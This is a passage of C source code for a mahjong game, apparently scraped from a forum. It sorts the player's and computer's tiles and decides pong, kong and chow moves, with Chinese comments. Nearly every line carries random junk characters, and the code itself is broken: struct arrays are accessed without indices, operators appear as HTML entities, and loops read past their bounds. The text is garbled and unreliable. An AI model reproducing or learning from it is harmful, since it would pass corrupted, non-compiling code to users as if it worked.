) L3 g! f" F7 x0 v& t( M9 G0 ~computer.pp[j+1].k=lingshi;
$ k+ s/ P. |  B5 N' v1 a' G( Ru=computer.pp[n].oneorfour;
. n" Z  D/ W4 e$ f3 l$ ^computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;2 I% _; j( T: o, S' B: Z  c
computer.pp[j+1].oneorfour=u;) Z. i' f; O6 O* w
u=computer.pp[n].number;; l( w6 {1 y4 ]) A
computer.pp[n].number=computer.pp[j+1].number;5 d$ f/ s$ j. C
computer.pp[j+1].number=u;
3 B. _# k7 A: ?1 U}) K3 f3 V! e$ K7 x
}
- n' i- l1 V! `2 J. X7 G: }  F}
+ s: v# z' W, j6 y/ hvoid melipai()3 c: Q5 [# |. f! s( i
{ int n,j,u;. [- c  P* J! Y0 D( Z
int *lingshi;* Y$ b: k5 ^. J+ n, b( V* ^
for(n=0;n&lt;me.m;n++)& [5 s) c9 }+ I% i) ^, F% U) [
for(j=n;j&lt;me.m;j++)
9 f8 R9 h$ _6 @6 H7 z+ ~{
: Z8 `! o4 H6 ~  q/ ?* {1 D$ wif(me.pp[n].number&gt;me.pp[j+1].number)
: y1 |3 a2 A5 p3 \, ?8 r( V{
: z* \! d7 p5 c. blingshi=me.pp[n].k;' }: ?5 |+ l$ y" T. Y- g
me.pp[n].k=me.pp[j+1].k;
; ]9 ^0 e4 \: M- ~% @me.pp[j+1].k=lingshi;
; f: U  |/ [4 A9 k% Su=me.pp[n].oneorfour;+ c$ y) q9 l* F  J0 K) ~: ^0 z8 L
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
1 [7 W- x5 j7 N; o2 o) P3 C' Kme.pp[j+1].oneorfour=u;
, c* w; ?4 Q+ B9 Z: Yu=me.pp[n].number;
9 m7 |) D5 G) ?me.pp[n].number=me.pp[j+1].number;# k" @( B  P* h
me.pp[j+1].number=u;
" R! P  b) D! S! }& W3 s: k7 [( d}+ j4 }# N! W, W1 o
else/ R1 r6 z' B' V" o; v! J
if(me.pp[n].number==me.pp[j+1].number)! _  P9 o, u' R3 s& y
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
+ P; s; k  ]5 \% [* O: o, L{
+ ]8 P1 N3 z* m& Z1 ^lingshi=me.pp[n].k;) s' `# c5 f3 @9 [
me.pp[n].k=me.pp[j+1].k;, _% j0 u2 p: m6 k7 q
me.pp[j+1].k=lingshi;4 @- F9 p- R4 T: N- V
u=me.pp[n].oneorfour;
& B, |/ ~1 Q& M, Vme.pp[n].oneorfour=me.pp[j+1].oneorfour;5 p! P9 U4 X/ m7 L
me.pp[j+1].oneorfour=u;
2 n, Q; i% \- `- W* uu=me.pp[n].number;
1 I, q' f$ E9 X7 `me.pp[n].number=me.pp[j+1].number;
! C( [; c- v" v+ r/ Ime.pp[j+1].number=u;/ P1 a4 v0 T) c% l0 v% B6 a9 n5 g# B
}
4 a% L' r) F' i8 B( T}3 |; s8 J! t: s" s
}$ ?& \! t2 t! g% i
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
( i. J3 F; o7 D: C% {) Z{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
$ t" [5 O) B' u- |* U0 gif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
% E5 E) l: _; B2 F  Q/ a' W{
2 f) Q: H% w! }) Z5 n: zlogo=1;. s. F& l: b5 E- ?: l; C( x
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
, H6 L3 f  G4 m0 [2 y' K% Wlogoo=1;
+ t9 I% Z7 ?- j' a/ }else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)$ D% o9 g& ]# l; Q. c+ n" g1 t
logoo=2;
0 J. q6 x0 c  L: q/ e9 Melse if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)  L; z7 N& C6 A
logoo=3;
6 U% s0 v0 D7 p4 e: f! s/ R0 Yelse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)  Z. Z8 z: }8 ^, Q6 f+ m! w2 I2 ~
logoo=4;' {' x* I7 X# o/ W/ v
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)- S+ T7 I# c- z
logoo=5;
. o$ a4 i; {% |& y9 lelse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)% b& g: {- Q2 u6 A7 r6 m0 S
logoo=6;% y6 \  F, _% G0 j' s
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)# a7 Q# X- w7 }3 b. A3 T4 e
logoo=7;
6 q$ w% A% x  S, selse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28). Y" T; p0 l8 G0 g4 R; D
logoo=8;
! l8 [4 u- f  d% d2 J3 gelse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
& ~; C/ A# ]: B& Y3 Klogoo=9;
* T' H" Z% t2 J) U}+ r  c( i3 P+ l( s( H% U6 t
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
/ B0 i4 V5 t' A{
+ t% @. \- J% c; q/ elogo=2;
  |3 f) a: ?9 r) R  [% Wif(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
" `, U7 l1 W% {$ t- J9 j' jlogoo=1;' V' B: P2 L3 i
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)1 _0 V  E' h4 e, R1 z3 }" {3 P% U$ {
logoo=2;2 E6 g8 G7 w5 G( k
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
7 {4 v8 Z; T0 r# f6 w& K' _logoo=3;
; A; \& a. M/ |, velse if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
5 ~5 B5 Y, D8 S  e( i7 d# e2 glogoo=4;
6 c/ }* |' ?' ~/ Nelse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)( c2 B* Z. e* J9 ~; @
logoo=5;
. k* {7 k, y3 J3 t: o: r; ?2 y# b: yelse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)3 l7 G7 o7 t* a. V* Y
logoo=6;: d- H8 ?: B" z" [
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
" o; d3 A3 r% V, ]" R; R5 e8 Llogoo=7;$ A; G  T; Z$ A% V+ S9 j; ~7 ]
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
/ S$ o4 o+ r. [$ ilogoo=8;
! D- s+ C+ f  p. h# e4 gelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
0 ^0 B9 S4 O9 D3 C0 ulogoo=9;
0 E; X, W8 X2 E6 ~# z}" R1 q" O# n. t+ ~% ?6 O
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)2 M& z6 W  U/ _$ D
{
, |, g3 r; m- u; ^' f, {6 Q0 Q  }logo=3;% X: f% v: B4 u, [
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)! ]+ S+ _% d3 w% O
logoo=1;( K9 A, Q8 g* f
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)% Y5 u6 d* \+ F3 y+ G
logoo=2;
  e& J1 P6 L7 F& m  O- belse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
2 u& w( ?6 B' m( @logoo=3;
! J4 a: f) [# ^else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84); `0 \* a$ r) _  p
logoo=4;: j& F5 g4 H# F3 ]; L% H
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88). L: r# ]. C* W& Q
logoo=5;9 X2 B; m8 u! }3 F8 D7 @
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)+ x" s; `9 S5 {: N0 m" I
logoo=6;% D/ B: d9 O$ \2 V2 Y0 [
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
& n9 B, [' W/ l, E# {logoo=7;, d! S" Y- u$ d5 P2 y) _, w
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)- H4 y; B/ B6 I1 R, v  f; X! q
logoo=8;
. W' m5 [8 |* N$ g" H+ Jelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)4 f0 o: Z: [. a. q# H
logoo=9;! t5 O; D3 o4 `% a
}/ @' f; z; C/ ]
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
2 u4 [! c0 y) A5 y) v$ o, C{
+ e  T) D( f3 G" p5 _1 o% jlogo=4;: p+ P- J- E" C) F4 T+ E; w' w
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)# e" ?5 B' g5 R' l
logoo=1;. k% D" J) Q2 G+ G3 c4 m; @
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
  U; K( n" h; O7 B+ [, V2 Clogoo=2;% \! k, C9 k* c/ d  E
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
" r& ], H6 e9 n5 W' T; n! Wlogoo=3;+ G& a: e: n& Z1 Z; q7 o
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
& e0 }& F/ v% u" t+ X4 @4 }logoo=4;! M' P4 I0 I5 T6 e* Y2 I
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
7 B, h7 F( w" J1 Vlogoo=5;# v* Q8 b' a' J- ~  P6 w
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)) R& [6 W- V& z" F, i+ ]$ C- W
logoo=6;/ E" E' V, v0 B1 U
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
7 ~% \* Y0 [6 l- c3 }logoo=7;6 P0 o& ]4 i8 d
}" W  w8 \# U0 @# B
while(b&lt;=computer.m)  J3 I( W% f4 _1 ~9 h
{
4 N% Q# G+ T/ L9 Xif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
' |: g3 S! V* g  v! f$ N{7 @5 N( h$ Z  W, G
lg=1;
4 F: x8 O" N# }5 Qcomputer.pp.d[0]=1;' L- |) a" _+ R$ L. v
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
5 y% H: z8 @( D( b9 J{- h& d  R5 C: V( |+ J, r
lgg=1;
$ C5 c" O; B/ \8 k7 F* I4 |computer.pp.d[1]=1;  P- r5 L/ ^6 u# D0 z4 J
}
( e7 `5 x& y  f; N* {; Q$ E1 uelse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
: P- ^+ b) Z  I" C. E8 ?& T{
5 C0 s$ n) k8 {) C' flgg=2;, h0 V+ Z$ s7 V
computer.pp.d[1]=2;
/ [+ Y7 X8 m2 m) t* Z) D( \( w% E}
  d; c  r( \4 |3 u3 oelse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
' N4 `5 Q- t% \' g0 t6 W9 C{# I9 S, d' ?# }5 {2 {, Z
lgg=3;. Y( \2 k7 E# |
computer.pp.d[1]=3;
" {* D  w/ x- i8 V}
  U, \! \$ s1 Y/ z$ d% w$ Q' uelse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
, J$ T: i8 K3 z& H+ ~{% k1 A# j  P* Z" u# N1 z$ i$ A
lgg=4;
( _. u8 L5 B2 P/ l* Qcomputer.pp.d[1]=4;8 J$ a6 k8 C- Z, C2 g5 T$ G
}& a7 A3 I3 I; g4 B3 u
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)1 J  d" [" o2 ]4 O$ P( t' }: t! I
{& L: G# E7 n' j
lgg=5;: a+ B6 L6 Z) c
computer.pp.d[1]=5;' ^4 N' t& I9 P8 B' \& T
}& y8 x; U3 B% m# |6 h% J2 L
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)8 A( ?/ Z" K* W
{
5 x+ k+ k- h6 _0 @& Clgg=6;* Y* s2 F) N  r
computer.pp.d[1]=6;0 V5 @  ]4 K5 J2 W& P
}8 |- s; P9 C# C5 O2 z
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)$ O% N, q4 B) n* V+ t
{
" K# o$ I3 S3 x$ }lgg=7;
( k  }4 a" Z* C+ x$ T( h" pcomputer.pp.d[1]=7;
1 [" X' }6 J! h% c}$ v8 p; o* n( k2 W8 `
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
1 L3 T7 R0 u" C  L, f5 Q( w: V{
: v+ a1 l) \: }% R0 tlgg=8;% R+ I- g) G. n0 \* X8 o$ r
computer.pp.d[1]=8;
; X* Y' ?. e% _& z$ X( ]3 O}) P+ f/ t4 M0 f. Z: [6 E' x) H# N
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)' e7 V/ s: s( I! W
{* k5 ]1 I  T9 i  `8 l- D* T
lgg=9;' b6 ^* U+ m9 N) o# X5 ?3 T
computer.pp.d[1]=9;
$ x3 ]$ T* Q  h9 t- b9 n}6 P9 {  s; L; s. J
}
4 D7 B* K0 Q3 f8 M& {5 velse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
- `/ {# `3 \. {{
: B. K# E% m; s# `0 nlg=2;- Q7 u$ P+ B  |! L
computer.pp.d[0]=2;
& f2 C: q9 d, ?& e- ^& j6 C& xif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
% \# E! H5 x, B{
4 P4 K4 M* m4 S; [lgg=1;$ U! Z( l# m/ G& w
computer.pp.d[1]=1;5 y( Y* B, W: |2 C6 [4 ?
}
0 D! o2 \3 [! q+ Telse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)2 Y2 P8 w9 E3 {/ w1 P; L7 y
{
. t8 E* ]9 G& O: S' A4 v" Plgg=2;
& G! a7 G, i* Z+ fcomputer.pp.d[1]=2;' k: D9 _: I  A1 @
}
' k, o1 f( o% w1 y2 z% \( C4 Melse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)* \! O1 N* P: y$ \7 u2 _' u9 S
{
' V/ A/ `# X% d' l& Q, |+ rlgg=3;
$ R6 `, A# _9 ^& lcomputer.pp.d[1]=3;
) U5 n: P. h4 {4 N3 b. r}8 n" F6 Q9 g( m- ?+ c0 x" o, Q+ i1 W
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
1 U" ~' w- s/ C0 n( y/ b4 J$ Z{
% }9 e1 F! y/ q- ?$ ^1 vlgg=4;9 f6 L3 G' L, ~% k/ a
computer.pp.d[1]=4;
, S7 b5 f6 F4 U# T( Q7 x# r$ E- h}8 g4 P$ W( E! {  J
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
! c2 c" Y* h  c, W+ ?& s' o: h' R  ]4 r{
/ ~2 d, g3 C. e% qlgg=5;; }! x1 Z# H% f! x, n1 U, o
computer.pp.d[1]=5;" }9 A+ X6 |* W/ m) j% H
}$ j1 K7 M/ `  @6 D& o
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56), M) {4 h4 y1 o3 m
{
* s$ m. F6 V6 L4 K1 @0 m& llgg=6;  K+ \: Q  t4 x) O
computer.pp.d[1]=6;
5 H4 t2 @& ~: A8 T5 o! P6 r+ N}
- G/ Y- Y6 u) [6 zelse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
( Z0 ]6 B5 b7 A( O: d{
% y8 b! H; D% q4 S) E% Qlgg=7;. n6 A5 q, |1 a* O. P1 J
computer.pp.d[1]=7;
# [" x$ w/ d& d& j7 \2 ^}$ V$ B( r( ~7 w2 @4 D
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
; z* l8 j* f9 n3 N- [8 ^; j{- ~( u0 ?- f" @
lgg=8;
6 [2 x( r8 f+ Z( h# m9 V8 kcomputer.pp.d[1]=8;
! o# Y  m9 D: o2 m- ~  \8 z) d% M}
, n8 `: W8 G8 {# ?+ Xelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68); ~( @5 I9 v: H0 a  e2 b3 P
{
* P( F' R; e* m9 H  K# }lgg=9;* ~/ ?- {( ]$ o4 g& d
computer.pp.d[1]=9;
8 E% E' K; t9 C4 Y0 N}2 [/ b$ m3 i/ f. ~. U' P
}8 W6 J  P. o+ e# q; }$ O
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)& x. J3 @, k1 R7 H3 J5 ~8 V% n
{6 N$ \5 G- B+ R1 T6 b7 D( [
lg=3;
$ p: `' @) D  Y" }/ Lcomputer.pp.d[0]=3;5 o7 y* T1 I; k. I& r" A
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)8 E# j; D; g( ?
{: F$ q0 P# X# k7 I. d8 n+ a
lgg=1;
" o' L- q2 p, s4 t* N. lcomputer.pp.d[1]=1;1 A9 w6 f4 V7 d) @" l: n0 T
}( g! R" V3 F1 O3 C: b
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
7 O3 s/ X! L* m/ W& f9 `6 W: Z* h{
0 D8 ?! D# m: I$ qlgg=2;; R) u9 O* t1 _& y" y6 p
computer.pp.d[1]=2;
) |( E4 e$ @/ p5 e0 ]}
' w9 m( G6 ^4 G( e/ m' selse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
4 \1 N3 d- j: u/ w2 _* M{- N: p( h4 h9 O  L1 q' {
lgg=3;; t0 _4 m, U% a8 C! Z, @9 Z/ b1 ^
computer.pp.d[1]=3;" L$ J% }! f( B% s  i7 E& z
}
' c. j* y4 G9 L1 v/ @+ lelse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)' Q% E7 {3 h( j
{
8 Z( Y/ H7 B$ h- @lgg=4;4 f( h! b+ j. l; K/ s
computer.pp.d[1]=4;& n1 [7 A' J6 Y; Z0 k4 I' q
}
) x! \* w5 N4 s2 _* ~4 \% telse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
( @7 h/ }9 K; I1 z( |{
+ o+ |3 L% T3 Mlgg=5;
6 l! Y" z4 k5 V0 Ocomputer.pp.d[1]=5;$ z0 O3 W* Z. r
}) h: Z0 }2 s  ?' B7 }4 z# A* m: j
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
! t, K9 U* R6 z4 w{: B+ {; Y' {  B; N/ q/ Q- l
lgg=6;
$ v! t) I+ R8 `% j0 H1 u- W! l+ Ocomputer.pp.d[1]=6;
. c) N; y" C' G" M: s) x}9 t% e& d. u( J0 q6 a
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
& s* `5 E6 o  f; t! W, Q8 m{
, ?5 k4 Q/ I+ N9 Klgg=7;
$ y- S8 |/ h# qcomputer.pp.d[1]=7;, A) f. [) F2 G1 ~& r
}
5 `- d* A  ^/ W- n* ]  `else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
; y2 Y9 `  U% G: b& k" D{& \5 `; t% E- X$ ~0 b+ P" U
lgg=8;1 `( s' b6 d$ e' x1 Z
computer.pp.d[1]=8;  m9 I# A9 W8 D; T1 ]* E
}
+ a# v' X  s1 p; Q$ q/ O& q9 Pelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
& ?; ?1 B* O2 ?5 w8 C{
5 Q; O0 `2 U- Wlgg=9;
9 E( s6 C% \8 |, F- F. Zcomputer.pp.d[1]=9;
' s" y* ?1 Z9 a& ^' z% s9 K}
9 p0 L. w) C; t1 H$ z- B+ L}
  K# f% G! f. d6 Y" Lelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)' |2 t! D5 q! J: [" E. U% A( s: @5 [6 F8 l
{
" K' Q& l2 ?, ^  J9 mlg=4;8 \1 G, D: |3 A4 Q
computer.pp.d[0]=4;" J+ H7 V9 y2 X
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
4 W7 l" z. L4 Z{% k; Z. K; }; p5 {9 `7 N$ S" P' H
lgg=1;
9 P5 |( k' |1 @1 U! j- P6 P( Ocomputer.pp.d[1]=1;
. i& @( Q; S* \4 {6 A7 W, d}
5 \4 L7 X; G8 z0 z& ]( ], ]else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)/ }. @9 ^. K+ r& O5 L2 r% }
{0 l6 I/ B, K' V& {& v- a
lgg=2;
; a# i5 V/ W. Qcomputer.pp.d[1]=2;* [0 [6 g, p5 \6 p
}
$ T: e. N+ R% Telse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116): k& j  ^4 U2 R. n5 ^8 F
{
, |% x. w- ?! ^( i" slgg=3;
/ U8 i. d6 ?: Z, c# ccomputer.pp.d[1]=3;
. u/ x/ r% o/ Y7 A- E( D6 M% Y}
$ M7 C9 I: g3 A0 ielse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)6 D3 _. R( M; g) Z& D4 S; r3 A
{, z7 f) J, t9 n  j; M
lgg=4;
+ T  ?! I  G6 E. i5 z5 K2 ]4 q* J: V& R# _computer.pp.d[1]=4;0 {' \- O8 s$ N! v
}4 L, `8 S6 w8 q, z
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)# M9 u1 @% P; Z6 F. w8 v# A
{
- a% b9 D! c  G6 Z9 |1 @lgg=5;
1 l: S+ E8 Z5 O% M9 r2 J: rcomputer.pp.d[1]=5;
" k/ t8 t6 d( ?) L! v2 v}9 a" ]) v0 x2 X# Q& e& _! J2 K
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)/ G- Z/ I5 D  l
{' t+ H1 @0 l! H+ l6 }8 X  \
lgg=6;4 V, I. a+ ?- S8 e7 |8 ?
computer.pp.d[1]=6;4 s1 J- [* |# I( c" G5 x" t+ f/ s
}2 N5 q: v" U9 S: q. ]
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)$ g' |. k- h" c, R
{6 B% d9 ^' K- r( x
lgg=7;
# p3 ]4 W; @6 r7 ]$ j, mcomputer.pp.d[1]=7;3 Z% w/ G6 ^; m# s
}
" [% l3 ]/ E5 K6 y. @- H2 q}: W! b# A) Z, o( x! L- p

; c& v$ B7 U. I/ m/ nif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
/ k6 p0 U# \* [) Oif(logoo==lgg), q. e% b6 z1 r: P4 p
pg++;
6 A! m+ L+ c5 {9 b' b3 a! k4 \3 C- \; Rch.lg=lg; /*保存电脑手里的每张牌的信息*/- A1 a0 m  D& ~" z: [! H- @, F
ch.lgg=lgg;
9 M: k1 H+ T" k7 Mlg=0;8 J+ |' l4 _0 }) |3 i- T+ i
lgg=0;7 g" V, T; K. w1 H
b++;1 H% z7 {$ F. K- q/ @
}% w# |' }, y2 S0 k$ o0 [/ k
if(pg==2) /*乓*/
& E. h3 n8 K4 S- u+ x{# l4 M7 [- R/ Q! F) A4 S4 L
5 r1 B( A& h" o! D0 I# q8 C4 @
sing=1;5 {+ d/ R- W7 ~$ ?0 r; k4 P& M
b=computer.m;" t5 c+ E# j% q- S" q) {5 L2 M
while(b!=-1)
/ r, ]4 H; v. Q: H# R{  R' r) d& \9 [: g- h. r
if(strcmp(me.pp[c].k,computer.pp.k)==0)% z1 F/ u4 H* o0 O( G
computer.pp.p=1;
2 g$ ^/ R) h9 {8 F+ I  P0 |: _
# [( T3 F5 L5 O+ M3 Q9 fb--;
% b1 L6 d+ ?; I" d. T! c}
7 D1 z/ e( T# D& L; u" p}
3 m4 J3 r5 Z+ [( Z. p# J! eif(pg==3) /*杠*/9 I6 ]+ L1 n7 u- n- ^
{3 R7 o6 v4 i- x1 B2 G2 Q

$ K% K+ A$ G' u: T8 J, q2 z5 using=2;
  N$ o2 Z& l# V, L: S- a% }4 {$ ^b=computer.m;0 t6 q  g3 b) v9 J% i
while(b!=-1)) I- [" U3 T: z' p3 w2 i! Y- G
{
( \8 \: V5 w7 _7 Nif(strcmp(me.pp[c].k,computer.pp.k)==0)! x% q! n5 j9 y. f
computer.pp.g=1;
: r) H: M/ j# ~6 Y7 c( nb--;
- y3 y: A2 J. `2 A' T) y. T}
+ C4 V+ t0 `4 u! O. j0 c) N}
* f# e! l) i. Ef=0;
* C" M* K9 E; Xwhile(f&lt;computer.m) /*吃的判断*/
2 |1 A/ H% _$ G{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
, e  w8 e$ {4 c# B7 T{
. K5 ?0 S+ N1 {4 T# B7 I+ _if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/+ Z* q* |: b" @( a. r
if(ch[f].lgg-logoo==1)0 c3 p5 S' s9 o* v
{
' M8 p# G) }) m- [' R  ?gp++;: L& `* e/ ]6 ]$ g7 X' q" r
computer.pp[f].c=1;
/ o$ ~5 e8 s( a- T0 Q% d- d( ucomputer.pp[f+1].c=1;- V  ~) |6 k  z0 F) }
}. n! q( t9 b! L
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/6 M$ G3 c* N: t9 Z2 _3 h
if(ch[f+1].lgg-logoo==-1)
/ U# ?& E+ [& U* r8 z{: U/ A2 B" d4 q/ K5 ]8 ]
gp++;: P7 L7 `9 O: l( ]9 _
computer.pp[f].c=1;5 o$ Q( F- L4 O+ |
computer.pp[f+1].c=1;( J6 D& G. D. E- {) r/ X6 H
}# o7 T$ `$ M8 |* z" z
if(ch[f].lgg-logoo==-1) /*中吃*/
6 T  N! f! T" }+ K+ v3 Mif(ch[f+1].lgg-logoo==1)
8 r& U: y0 B5 u, E1 d6 L0 l9 o8 o  s{
# Z4 c% ^1 J5 p  ugp++;) h( F8 i: f* }1 _4 Z" q
computer.pp[f].c=1;4 v. L# d: H' @* ^8 T* O
computer.pp[f+1].c=1;5 }4 Y% O9 K( E* \* R
}1 X/ {8 {: ]" h0 ~; t$ k- i( g
if(gp==1)3 @9 F1 t# e* ~8 `6 q' d% E
break;8 |+ v' I6 h# N$ k1 ]: p
}
$ F1 Q2 e; ]- L( T% O( I$ Nf++;+ j% E. ?# G% t+ [$ t& [
}7 ?8 [- s  s) t. o3 @# L! G9 `
if(gp==1)& d9 T8 }. a# G2 }" n. w9 w
{sing=7;
- O5 @( `+ v1 i0 t' v1 J  @" J/ |2 M# b2 e1 w7 z/ d
}
; w  a! a, }& A- M7 mpg=0;
7 c0 e1 S" D+ G1 s$ A/ ugp=0;
- h" I: ^2 }. o0 U# i9 eb=0;2 A& o0 T8 _) ~8 c+ U
}0 W3 X) f4 g6 h; U! ]1 ~
void rgznme(int c) /*本程序涵数的核心针对我的牌*/
6 I: R; v- e% V2 [: [- D% H5 O3 e{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
6 W2 B$ C- T8 n. u7 Z( |if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
& r1 U& ?. {, Q) g{
7 e! b5 W, I- y1 I( jlogo=1;
/ z0 y7 n/ }, E4 C; u  d$ t- j5 \if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
7 n: X0 D; Z2 `9 Z& X& j( }logoo=1;
7 ]8 D- i* @) Lelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)- L( o# p$ s  H$ E2 C* A
logoo=2;& ]6 s. v% ]6 k* e" `+ q0 l
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)% U: ~: A9 B: K3 l- n$ Z  l0 x1 k
logoo=3;
& ?$ I0 k% _. R# Z; Celse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
  n/ }+ j  o% c( \; u0 c- E  hlogoo=4;8 x4 V; X) b. u4 E; f9 x' z
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
8 Y8 {5 Z: U3 L9 @5 x/ I# J3 B. xlogoo=5;
: F+ a. w4 \- ], d" }+ Relse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
1 y) a8 o# Q6 c8 ]* g* k1 Ilogoo=6;
) O) Y6 v+ c) ]6 H" Kelse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
2 l2 b3 C) K: wlogoo=7;. {& i* l9 h4 x
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
+ Z8 F% e/ i* N, dlogoo=8;
% ^  _1 |, @' S" w, a# Oelse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
) j' S# M8 v) s6 S3 P8 i0 N& Wlogoo=9;
1 a% o5 J# N/ V1 m/ O+ t/ m}. b2 c- x. w* k+ `0 u) e% u0 L
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
1 w# I: X% {; K9 n1 T3 }5 @$ K{- s4 A6 r. i# ?5 Z
logo=2;6 z0 B$ A% g! m0 P( n$ ^
